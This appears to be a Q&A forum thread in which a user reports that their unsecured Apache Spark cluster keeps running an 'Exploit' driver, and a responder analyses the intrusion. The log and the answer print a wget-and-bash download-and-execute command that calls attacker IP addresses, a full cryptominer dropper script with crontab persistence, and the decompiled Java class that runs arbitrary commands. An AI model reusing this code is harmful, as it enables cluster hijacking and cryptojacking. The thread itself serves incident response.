apache spark executor submit driver with exploit class

Question

After a lot search and research, I turn to find help here. The problem is that once a Spark cluster is built(one master and 4 workers with different IP address), each executor will submit "driver" constantly. From web UI, I can see a class named "Exploit" submitted with the "driver". web UI
Following is head and tail of log file of one worker.

Launch Command: "/usr/lib/jvm/jdk1.8/jre/bin/java" "-cp" "/home/labuser/spark/conf/:/home/labuser/spark/jars/*" "-Xmx1024M" "-Dspark.eventLog.enabled=true" "-Dspark.driver.supervise=false" "-Dspark.submit.deployMode=cluster" "-Dspark.app.name=Exploit" "-Dspark.jars=http://192.99.142.226:8220/Exploit.jar" "-Dspark.master=spark://129.10.58.200:7077" "org.apache.spark.deploy.worker.DriverWrapper" "spark://[email protected]:44717" "/home/labuser/spark/work/driver-20180815111311-0065/Exploit.jar" "Exploit" "wget -O /var/tmp/a.sh http://192.99.142.248:8220/cron5.sh,bash /var/tmp/a.sh

18/08/15 11:13:56 DEBUG ByteBufUtil: -Dio.netty.allocator.type: unpooled 18/08/15 11:13:56 DEBUG ByteBufUtil: -Dio.netty.threadLocalDirectBufferSize: 65536 18/08/15 11:13:56 DEBUG ByteBufUtil: -Dio.netty.maxThreadLocalCharBufferSize: 16384 18/08/15 11:13:56 DEBUG NetUtil: Loopback interface: lo (lo, 0:0:0:0:0:0:0:1%lo) 18/08/15 11:13:56 DEBUG NetUtil: /proc/sys/net/core/somaxconn: 128 18/08/15 11:13:57 DEBUG TransportServer: Shuffle server started on port: 46034 18/08/15 11:13:57 INFO Utils: Successfully started service 'Driver' on port 46034. 18/08/15 11:13:57 INFO WorkerWatcher: Connecting to worker spark://[email protected]:44717 18/08/15 11:13:58 DEBUG TransportClientFactory: Creating new connection to /129.10.58.202:44717 18/08/15 11:13:59 DEBUG AbstractByteBuf: -Dio.netty.buffer.bytebuf.checkAccessible: true 18/08/15 11:13:59 DEBUG ResourceLeakDetector: -Dio.netty.leakDetection.level: simple 18/08/15 11:13:59 DEBUG ResourceLeakDetector: -Dio.netty.leakDetection.maxRecords: 4 18/08/15 11:13:59 DEBUG ResourceLeakDetectorFactory: Loaded default ResourceLeakDetector: io.netty.util.ResourceLeakDetector@350d33b5 18/08/15 11:14:00 DEBUG TransportClientFactory: Connection to /129.10.58.202:44717 successful, running bootstraps... 18/08/15 11:14:00 INFO TransportClientFactory: Successfully created connection to /129.10.58.202:44717 after 1706 ms (0 ms spent in bootstraps) 18/08/15 11:14:00 INFO WorkerWatcher: Successfully connected to spark://[email protected]:44717 18/08/15 11:14:00 DEBUG Recycler: -Dio.netty.recycler.maxCapacity.default: 32768 18/08/15 11:14:00 DEBUG Recycler: -Dio.netty.recycler.maxSharedCapacityFactor: 2 18/08/15 11:14:00 DEBUG Recycler: -Dio.netty.recycler.linkCapacity: 16 18/08/15 11:14:00 DEBUG Recycler: -Dio.netty.recycler.ratio: 8

I found there is a "Exploit" code which hacks Spark cluster by taking advantage of the fact that anyone can submit applications to an unauthorized Spark cluster.

ARBITRARY CODE EXECUTION IN UNSECURED APACHE SPARK CLUSTER

But I don't think my cluster is hacked. Cause after applying authorized mode, this problem still exists.

My question is anyone else have this problem? And why would this happen?

Answer 1

THIS IS VERY ALARMING!

Firstly, the decompiled source code shows that the driver will execute commands supplied to it via arguments. In your case, this wget to download the script to temp, then execute it.

The downloaded script downloads a jpg and piped to bash. THIS IS NOT AN IMAGE

wget -q -O - http://192.99.142.248:8220/logo10.jpg | bash -sh

logo10.jpg contains a cron job that contains even more source code that will be run on your cluster. You are probably seeing this job being submitted because it is starting a scheduled job.

#!/bin/sh
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json
wget -O /var/tmp/sustes http://192.99.142.248:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Decompiled Source

public class Exploit {
    public Exploit() {
    }

    public static void main(String[] var0) throws Exception {
        String[] var1 = var0[0].split(",");
        String[] var2 = var1;
        int var3 = var1.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String var5 = var2[var4];
            System.out.println(var5);
            System.out.println(executeCommand(var5.trim()));
            System.out.println("==============================================");
        }

    }

    private static String executeCommand(String var0) {
        StringBuilder var1 = new StringBuilder();

        try {
            Process var2 = Runtime.getRuntime().exec(var0);
            var2.waitFor();
            BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));

            String var4;
            while((var4 = var3.readLine()) != null) {
                var1.append(var4).append("\n");
            }
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return var1.toString();
    }
}